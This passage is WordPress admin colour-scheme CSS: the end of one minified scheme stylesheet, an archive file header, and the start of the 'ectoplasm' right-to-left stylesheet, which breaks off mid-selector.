.quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(213,221.1,223.5)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f2fcff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#9ebaa0}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#9ebaa0}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f2fcff}#wpadminbar #adminbarsearch:before{color:#f2fcff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(135.4,158.4657142857,165.3)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#aa9d88}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(153,141.3,122.4)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(135.4,158.4657142857,165.3);background-color:rgb(135.4,158.4657142857,165.3)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#9ebaa0}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(213,221.1,223.5)}.wp-pointer .wp-pointer-content h3{background-color:#9ebaa0;border-color:rgb(143.0993975904,175.4006024096,145.406626506)}.wp-pointer .wp-pointer-content h3:before{color:#9ebaa0}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#9ebaa0}.media-item .bar,.media-progress-bar div{background-color:#9ebaa0}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #9ebaa0}.attachment.details .check{background-color:#9ebaa0;box-shadow:0 0 0 1px #fff,0 0 0 2px #9ebaa0}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#9ebaa0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#9ebaa0}.theme-filter.current,.theme-section.current{border-bottom-color:#738e96}body.more-filters-opened .more-filters{color:#fff;background-color:#738e96}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#9ebaa0;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#9ebaa0;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}div#wp-responsive-toggle a:before{color:#f2fcff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#9ebaa0}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(98.2714285714,123.5412244898,131.0285714286)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f2fcff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#9ebaa0}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#9ebaa0}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#9ebaa0}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#9ebaa0}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#9ebaa0;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#9ebaa0}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#9ebaa0;border-style:solid;box-shadow:0 0 0 1px #9ebaa0;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#9ebaa0}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#9ebaa0;color:#0073aa} css/colors/ectoplasm/colors-rtl.css 0000644 00000061163 15233246127 0013452 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #523f6d; } .wp-core-ui .wp-ui-text-primary { color: #523f6d; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #a3b745; } .wp-core-ui .wp-ui-text-highlight { color: #a3b745; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #d46f15; } .wp-core-ui .wp-ui-text-notification { color: #d46f15; } .wp-core-ui .wp-ui-text-icon { color: #ece6f6; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #523f6d; } .view-switch a:hover:before { color: #d46f15; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #523f6d; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #ece6f6; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #a3b745; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(203.1, 197.4, 211.2); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(203.1, 197.4, 211.2); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #a3b745; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #a3b745; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #a3b745; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #d46f15; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } /* Admin Menu: collapse button */ #collapse-button { color: #ece6f6; } #collapse-button:hover, #collapse-button:focus { color: #a3b745; } /* Admin Bar */ #wpadminbar { color: #fff; background: #523f6d; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #ece6f6; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #a3b745; background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #a3b745; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #a3b745; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(100.2840283114, 83.3456627907, 124.3543372093); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(203.1, 197.4, 211.2); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #ece6f6; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #a3b745; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #a3b745; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #ece6f6; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #ece6f6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(99.0197674419, 76.0761627907, 131.6238372093); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d46f15; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(190.8, 99.9, 18.9); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(99.0197674419, 76.0761627907, 131.6238372093); background-color: rgb(99.0197674419, 76.0761627907, 131.6238372093); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #a3b745; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(203.1, 197.4, 211.2); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #a3b745; border-color: rgb(146.505952381, 164.4821428571, 62.0178571429); } .wp-pointer .wp-pointer-content h3:before { color: #a3b745; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #a3b745; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #a3b745; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #a3b745; } .attachment.details .check { background-color: #a3b745; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #a3b745; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #a3b745; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #a3b745; } .theme-section.current, .theme-filter.current { border-bottom-color: #523f6d; } body.more-filters-opened .more-filters { color: #fff; background-color: #523f6d; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #a3b745; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #a3b745; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #ece6f6; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #a3b745; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #ece6f6; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #a3b745; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #a3b745; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #a3b745; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #a3b745; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui 